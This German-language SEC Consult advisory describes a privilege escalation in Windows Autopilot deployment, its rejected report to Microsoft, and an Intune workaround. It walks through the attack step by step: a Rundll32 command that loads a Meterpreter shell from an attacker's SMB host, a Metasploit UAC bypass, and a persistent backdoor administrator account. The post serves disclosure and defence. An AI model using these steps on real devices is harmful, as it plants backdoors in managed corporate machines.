Bug oder Feature: Privilege Escalation in Windows Autopilot

vulnerability

SEC Consult hat im Deploymentprozess von Windows Autopilot eine Schwachstelle identifziert, die eine Erweiterung lokaler Berechtigungen ermöglicht.

 

Erhöhung von Benutzerrechten - Screenshot SEC Consult

TL;DR

Während des Deployments können die Berechtigungen des Benutzers auf jene eines lokalen Administrators erhöht werden. Diese Veränderung bleibt auf dem System auch nach dem Deployment bestehen. Das SEC Consult Vulnerability Lab hält im Schwachstellen-Research an einen sogenannten Responsible Disclosure Prozess fest, um Herstellern die Möglichkeit zu geben, Sicherheitslücken vor der Veröffentlichung zu schließen. Im Zuge dieser verantwortungsvollen Offenlegung wurde das Problem über MSRC gemeldet. Unerwarteter Weise wurde das erste Ticket ohne weitere Hinweise geschlossen. Der zweite Versuch, die Schwachstelle kommunizieren und ggf. beheben zu lassen, wurde nach einem Monat mit der folgenden Meldung geschlossen:

Wir haben unsere Untersuchung abgeschlossen und festgestellt, dass das uns übermittelte Problem kein Sicherheitsproblem darstellt und beabsichtigt ist.

Da sich auch in der öffentlichen Dokumentation nichts zu diesem identifzierten Punkt finden lässt, hat sich SEC Consult entschlossen, die Erkentnisse samt Proof-of-Concept nun zu veröffentlichen.

Gerne können Sie Ihre Rückfragen auch über unsere Socialmedia Kanäle Twitter, LinkedIn oder per Email an das Vulnerability Lab richten.

Was Ist Windows Autopilot?

Windows Autopilot dient der Konfiguration von neuen Geräten und erleichtert die Einrichtung, weil keine dedizierte Infrastruktur im eigenen Unternehmen  notwendig ist. Im Microsoft Endpoint Manager-Verwaltungscenter definiert die IT-Abteilung dazu ein Windows Autopilot-Bereitstellungsprofil, das allen Geräten oder vordefinierten Gruppen zugewiesen werden kann. Beim erstmaligen Deployment neuer Windows-Geräte verwendet Windows Autopilot die OEM-optimierte Version von Windows 10. Diese Version ist auf dem Gerät vorinstalliert, sodass die IT-Abteilung nicht für jedes Gerätemodell ein benutzerdefiniertes Image und individuelle Treiber verwalten muss. Die vorhandene Windows 10-Installation kann in einen betriebsbereiten Zustand umgewandelt werden, der Folgendes ermöglicht:

  • Einstellungen und Richtlinien anwenden
  • Apps installieren
  • Ändern Sie die verwendete Edition von Windows 10 (z. B. von Windows 10 Pro in Windows 10 Enterprise), um erweiterte Funktionen zu unterstützen.

Nach dem Deployment kann die IT-Abteilung die Windows 10-Geräte mit folgenden Tools verwalten:

  • Microsoft Intune
  • Windows Update for Business
  • Microsoft Endpoint Configuration Manager oder andere Tools.

Windows Autopilot bietet die folgenden Szenarien:

  • Windows Autopilot User-driven Mode
    • Deployment und Konfiguration von Geräten, sodass Endbenutzer sie selbst einrichten können.
  • Windows Autopilot Self-deploying Mode
    • Deployment von Geräten, die automatisch für die gemeinsame Nutzung konfiguriert werden sollen (als Kiosk oder als Digital Signage-Gerät).
  • Windows Autopilot Reset
    • Erneute Bereitstellung von Geräten in einen betriebsbereiten Zustand.
  • Pre-Provisioning
    • Deployment von Geräten mit aktuellen Anwendungen, Richtlinien und Einstellungen.
  • Windows Autopilot for Existing Devices
    • Deployment von Windows 10 auf einem vorhandenen Windows 7- oder 8.1-Gerät.
Rechte-Erweiterung Windows Autopilot Ablaufdiagramm - SEC Consult
Windows Autopilot Lifecycle – Quelle: https://docs.microsoft.com/en-us/mem/autopilot/windows-autopilot

Technische Details und der Ablauf von Windows Autopilot wurden von anderen Personen bereits sehr gut dokumentiert. Es wird empfohlen, die folgenden Beiträge zu lesen, um weitere Informationen über die Vorgehensweise zu erhalten:

Identifizierte Schwachstellen

SEC Consult hat ein Problem im Deploymentprozess entdeckt, wodurch es einem Angreifer (oder regulären Mitarbeiter) möglich ist, seine Berechtigungen auf die eines lokalen Administrators zu erhöhen. Dies funktioniert auch dann, wenn:

  • Das Bereitstellungsprofil explizit vorsieht, dass Benutzer zur regulären Benutzergruppe hinzugefügt werden.
  • Das Bereitstellungsprofil vorsieht, dass lokale Verwaltungsbenutzer nicht zugelassen werden.
  • Die Kommandozeile in OOBE über UMSCHALT + F10 explizit deaktiviert ist.

Diese Voraussetzungen wurden in den folgenden Windows Autopilot-Szenarien überprüft:

  • Windows Autopilot user-driven mode.
  • Windows Autopilot Pre-provisioning.

Die identifizierte Sicherheitslücke kann vermutlich auch in anderen Szenarien ausgenutzt werden. Die einzige Voraussetzung ist, dass ein Fehler oder ein Informationsbildschirm eine Schaltfläche zum Öffnen eines Dialogfelds zum Auswählen von Ordnern enthält. Beispiele finden Sie in den folgenden Abbildungen. Der Link bzw. die Schaltfläche zum Öffnen eines Dialogfelds zum Auswählen von Ordnern ist jeweils rot markiert.

Windows Autopilot User-Driven Mode (ohne TPM)

Windows Maske Fehlermeldung TPM - SEC Consult
Fehlermeldung ausgelöst durch das deaktivieren des TPMs

Windows Autopilot Pre-provisioning (fehlende LAN Verbindung)

Eskalierung von Privilegien - Fehlendes Netzwerkkabel - SEC Consult
Fehlermeldung ausgelöst durch das entfernen des Netzwerkkabels

Voraussetzungen

Rechte Erweiterung Default Autopilot - SEC Consult
Übersicht über die Default Konfiguration des Autopilot Profils

Bearbeitungsprofil erstellen

Um das identifzierte Problem zu testen, wurde ein neues Windows Autopilot-Bereitstellungsprofil mit Standardwerten erstellt. Die Einstellungen sind in der folgenden Abbildung dargestellt.

Gerät zu Intune hinzufügen

Als nächstes wurde manuell ein Geräte-Hash zu Intune hinzugefügt. Normalweise wird dieser Schritt von einem OEM durchgeführt. Zum einfacheren Testen wurde dieser Schritt manuell wie folgt durchgeführt:

md c:\\HWIDSet-Location c:\\HWIDSet-ExecutionPolicy -Scope Process 
-ExecutionPolicy UnrestrictedInstall-Script 
-Name Get-WindowsAutoPilotInfoGet-WindowsAutoPilotInfo.ps1 
-OutputFile AutoPilotHWID.csv

Mehr dazu: https://docs.microsoft.com/en-us/mem/autopilot/add-devices

Exploit

Kurzfassung

Zusammengefasst, sind folgende Schritte für einen erfolgreichen Exploit notwendig (eine detaillierte Anleitung finden Sie im Anschluss):

  1. Packen Sie das neue Gerät aus und schalten Sie es ein.
  2. Wählen Sie die Sprache aus und stellen Sie eine Verbindung zum Netzwerk her.
  3. Dem Gerät wird automatisch das zuvor erstellte Bereitstellungsprofil zugewiesen, wenn der Geräte-Hash zu Intune hinzugefügt wurde.
  4. Lösen Sie einen Fehler während oder vor der Gerätevorbereitung aus, z.B. über:
    1. Trennen des Netzwerks.
    2. Deaktivieren des TPM in UEFI oder physisches Entfernen vor dem Deployment.
    3. Verwenden Sie eine TPM-Version <2.0 (dies ist für den benutzergesteuerten Modus erforderlich).
    4. Vielleicht fällt Ihnen noch eine weitere Methode ein, um während der Bereitstellung einen Fehler auszulösen?
  5. Ein Fehlerfenster wird geöffnet → Klicken Sie auf „Diagnose anzeigen“.
  6. Ein Dialogfeld zum Auswählen von Ordnern wird geöffnet (ein Benutzer kann hier nur Ordner auswählen).
  7. Navigieren Sie zu der folgenden Position in der Adressleiste: Rundll32.exe \\10.0.0.1\shell.dll,DLLMain
    (die Shell wird auf dem Host eines Angreifers im selben Netzwerk gehostet, in diesem Fall wurde eine Meterpreter-Shell verwendet).
  8. Die Shell stellt als Standard-Deploymentbenutzer mit dem Namen defaultuser0 eine Verbindung zum Host des Angreifers her. Dieser Benutzer gehört zur lokalen Administratorgruppe.
  9. Aufgrund der Tatsache, dass die Benutzerkontensteuerung aktiv ist, kann ein beliebiger Bypass der Benutzerkontensteuerung verwendet werden, um die Berechtigungen zu erhöhen (wir haben den Windows Store FileSys-Bypass https://www.exploit-db.com/exploits/47378 verwendet).
  10. Ein Angreifer kann jetzt einen Backdoor-Benutzer mit lokalen Administratorrechten oder anderen Arten von Backdoors erstellen.
  11. Abschließend wird das Gerät wieder konform gemacht durch:
    1. Wiederverbindung des Netzwerks.
    2. Wiederanbringen / Aktivieren des TPM.
    3. etc…
  12. Das Deployment wird erneut gestartet und erfolgreich abgeschlossen.
  13. Der Deploymentbenutzer defaultuser0 wird gelöscht, der Backdoor-Benutzer ist jedoch weiterhin vorhanden und kann für weitere Angriffe verwendet werden.

Details

Privilege Escalation Windows Autopilot Installation - SEC Consult
Windows Autopilot Provisionierungsübersicht

Schritt 1 – Gerät einschalten

Nachdem das Gerät manuell über einen eindeutigen Hardware-Hash zu Intune hinzugefügt wurde, wird das Gerät eingeschaltet. Als nächstes muss eine Sprache ausgewählt und eine Verbindung zum Netzwerk hergestellt werden. Anschließend wird einem Benutzer der folgende Bildschirm angezeigt:

Eskalierung von Privilegien - Fehler - Freigabeprozess - SEC Consult
Fehler der während des Deploymentvorgangs ausgelöst wurde

Schritt 2 – Fehler verursachen

Im nächsten Schritt wurde ein Fehler manuell ausgelöst, indem das TPM deaktiviert wurde. (eine andere Möglichkeit wäre das Trennen des Netzwerks). Dadurch schlägt das Deplyoment fehl und dem Benutzer wird der folgende Bildschirm angezeigt:

Rechte-Erweiterung Default User0 - SEC Consult
OpenFileDialog im Kontext des Benutzers defaultuser0

Schritt 3 – Ausführen einer Shell

Nun muss ein Angreifer folgende Schritte ausführen:

  • Meterpreter-Shell oder anderen Code als DLL auf einem SMB-Share hosten.
  • Diagnose anzeigen lassen
  • Aufrufen von Rundll32.exe \\10.0.0.1\shell.dll,DLLMain

Als Ergebnis wird eine Shell am Listener des Angreifers gestartet (Kontext: defaultuser0) und ist in den folgenden Abbildungen zu sehen:

Eskalierung von Privilegien meterpreter erfolgreich - SEC Consult
Erfolgreich gestartete Meterpreter Shell

Schritt 4 – UAC umgehen

Der Benutzer defaultuser0 gehört zur lokalen Administratorgruppe und verwaltet das Deployment. Um eine Shell mit lokalen Administratorrechten zu erhalten, muss die Benutzerkontensteuerung umgangen werden. Dazu kann beispielsweise der UAC-Bypass WSReset.exe verwendet werden, der im Metasploit-Modul windows/local/bypassuac_windows_store_filesys zu finden ist. Da es bereits eine Meterpreter-Sitzung auf dem System gibt, kann dieses Modul problemlos geladen werden. Der erfolgreiche UAC-Bypass, einschließlich der Shell mit hohen Berechtigungen, ist in der folgenden Abbildung dargestellt:

Eskalierung von Privilegien - UAC Bypass erfolgreich - SEC Consult
Der Benutzer sectest wurde erfolgreich angelegt und der Gruppe der lokalen Administratoren hinzugefügt

Schritt 5 – Benutzer zur lokalen Adminstratorgruppe hinzufügen

In der erhaltenen Shell wurde ein neues Administratorkonto namens secadmin erstellt. Dies ist in der folgenden Abbildung zu sehen.

Eskalierung von Privilegien - Neuer User lokaler Administrator - SEC Consult
Der Benutzer sectest wurde erfolgreich angelegt und der Gruppe der lokalen Administratoren hinzugefügt

Schritt 6 – Deployment neu starten

Sobald das Element, bei dem der Deploymentprozess fehlgeschlagen ist (z. B. fehlendes TPM, fehlende Netzwerkverbindung usw.), wieder funktionstüchtig ist, kann die Bereitstellung durch Klicken auf „Wiederholen“ neu gestartet werden. Das Deployment wird somit erfolgreich abgeschlossen:

Eskalierung von Privilegien - Anmeldemaske Neustart Erfolgsmeldung - SEC Consult
Neu gestarteter Deploymentprozess, der diesmal ohne Fehler durchläuft

Schritt  7 – Anmelden

Nach dem Neustart wird der temporäre Deployment-Benutzer defaultuser0 entfernt. Ein Domänenbenutzer kann sich jedoch mit seinen Azure AD-Anmeldeinformationen beim Client anmelden. Darüber hinaus können durch das Ausführen eines Prozesses als Backdoorbenutzer secadmin (siehe Schritt 5), die Berechtigungen auf die eines lokalen Administrators erhöht werden. Die Benutzerinformationen nach der Anmeldung am Computer mit Azure AD-Anmeldeinformationen sind in den folgenden Abbildungen dargestellt:

Rechteverteilung Administrator Account - SEC Consult
Details zum lokalen Administrator Account secadmin, welcher während dem Deployment hinzugefügt wurde
Rechte-Erweiterung CMD lokaler Administrator - SEC Consult
Eine CMD im Kontext des lokalen Administrators secadmin, welcher während dem Deployment hinzugefügt wurde

Fix? Patch? Workaround?

Einige Worte zur Kommunikation mit dem Hersteller im Responsible Disclosure Prozess

Eine verantwortungsvolle Veröffentlichung von Schwachstellen kann manchmal recht anspruchsvoll sein (Ausnahmen gibt es natürlich immer!) und viel Zeit in Anspruch nehmen. In diesem Fall zeigte sich ein sehr merkwürdiges Verhalten, das von einem so großen Anbieter nicht erwartet wurde. Als das erste Ticket über msrc.microsoft.com eingereicht wurde, erhielt SEC Consult folgende Antwort:

(Übersetzt)

Hallo,

Vielen Dank, dass Sie sich an das Microsoft Security Response Center (MSRC) gewandt haben. Secure@microsoft.com ist die richtige E-Mail-Adresse, um Sicherheitslücken zu melden. Um Ihren Bericht zu untersuchen, benötige ich einen gültigen Proof of Concept (POC), idealerweise mit Bildern oder Videos, die detaillierten Schritte zur Reproduktion des Problems und wie ein Angreifer ihn verwenden kann, um einen anderen Benutzer auszunutzen. Bitte beachten Sie auch, dass alle Kopfgeld- / Bestätigungsentscheidungen zu einem Zeitpunkt getroffen werden, an dem ein Problem aufgetreten ist und hier nicht behandelt werden kann.

Dieser Thread wird geschlossen und nicht mehr überwacht. Wenn Sie fertig sind, senden Sie einen neuen Bericht unter https://aka.ms/secure-at.

 

(Original)

Hello,
Thank you for contacting the Microsoft Security Response Center (MSRC). Secure(at)microsoft.com is the proper e-mail address to report security vulnerabilities to. In order to investigate your report I will need a valid proof of concept (POC) ideally with images or video, the detailed steps to reproduce the problem, and how an attacker could use it to exploit another user. Please also note that all bounty/acknowledgement decisions are made at a point past when an issue is cased and cannot be addressed here.
This thread is being closed and no longer monitored. When ready, submit a new report at https://aka.ms/secure-at.

 

Natürlich wurden alle Informationen einschließlich eines vollständigen Berichts mit PoC im Ticket übergeben, aber das Ticket wurde einfach geschlossen. Als das gleiche Ticket erneut eingereicht wurde, blieb dies fast einen Monat lang ohne Antwort. Dann kam folgende Information:

(Übersetzt)

Hallo,

Wir haben unsere Untersuchung abgeschlossen und festgestellt, dass das uns vorgelegte Problem kein Sicherheitsproblem darstellt und beabsichtigt ist. Dieses Problem entspricht nicht der Sicherheitsleiste für Sicherheitsdienste.

Nochmals vielen Dank, dass Sie diesen Bericht mit uns geteilt haben. Wir erwarten keine weiteren Maßnahmen von MSRC zu diesem Punkt und werden diesen Fall abschließen.

Freundliche Grüße,

MSRC

 

(Original)

Hi,

We have completed our investigation and found the issue submitted to us is not a security issue and is by design; this issue doesn’t meet security servicing bug bar.

Thanks again, for sharing this report with us. We anticipate no further action on this item from MSRC and will be closing out this case.

Best regards,
MSRC

 

Eskalierung von Privilegien - Windows Maske Fehler entfernt TPM - SEC Consult
Fehlermeldung die durch ein fehlendes TPM ausgelöst wird

Es ist nachvollziehbar, dass bei der enormen Anzahl an Tickets die Microsoft erhält Fehler passieren können. Aufgrund der MSRC-Erklärung, dass das identifizierte Sicherheitsproblem eine Funktion ist, haben wir beschlossen, die Details in diesem Blog zu veröffentlichen.

Wir hätten gerne mit Microsoft darüber gesprochen, wie der Fehler eventuell behoben werden kann. Für einige Benutzer stellt dies keine „gewollte Funktionalität“ dar, sondern ein Problem und eine Sicherheitslücke mit potenziell gravierenden Folgen auf die Sicherheit des eigenen Unternehmens.

Nichtsdestotrotz haben wir versucht, selbst eine Lösung zu finden und möchten an dieser Stelle einen möglichen Workaround teilen. Das erfolgreiche ausnutzen der Schwachstelle kann zumindest in dem Angriffsszenario verhindert werden, in dem der Knopf „Collect Logs“ verwendet wird:

Rechte-Erweiterung Endpoint Manager Angriffsvektoren - SEC Consult
Einstellung im Endpoint Manager um eine Variante des Angriffs zu verhindern

Diese Schaltfläche „Collect logs“ (dt. „Protokolle sammeln“) kann in Intune deaktiviert werden, indem die Einstellung „Benutzer dürfen Protokolle über Installationsfehler sammeln“ auf „Nein“ geändert wird (standardmäßig JA):

Timeline

2020-10-13 Kontaktaufnahme mit dem Anbieter über msrc.microsoft.com.
2020-10-13 Microsoft hat per E-Mail geantwortet, dass das Ticket geschlossen wurde.
2020-10-13 Kontaktaufnahme mit dem Anbieter über msrc.microsoft.com.
2020-10-13 Der Anbieter hat das Problem angenommen und die Fallnummer 61545 zugewiesen.
2020-11-05 MSRC antwortet, dass der Fehler nicht den Sicherheitsvorgaben entspricht.
2020-11-30 Veröffentlichung des Blogartikels

Mehr zum Thema

Über den Autor

Werner Schober
SEC Consult
Senior Security Consultant

Er ist spezialisiert auf alles, was mit Infrastruktur zu tun hat. Tagsüber versucht er, die Netzwerke, Geräte und Appliances in Windows- und Unix-Umgebungen von Kunden sicherer zu machen. Nachts arbeitet er im SEC Consult Vulnerability Lab, um Zero-Day-Schwachstellen in einer breiten Produktpalette zu identifizieren.

 

Stefan Michlits
SEC Consult
Associate Security Consultant

Er ist spezialisiert auf Infrastruktur und Web-Sicherheit. Er liebt es, alle möglichen Dinge zu hacken. Er arbeitet auch aktiv im SEC Consult Vulnerability Lab, um sich weiterzubilden und Zero-Day Schwachstellen zu identifizieren.

 

Zurück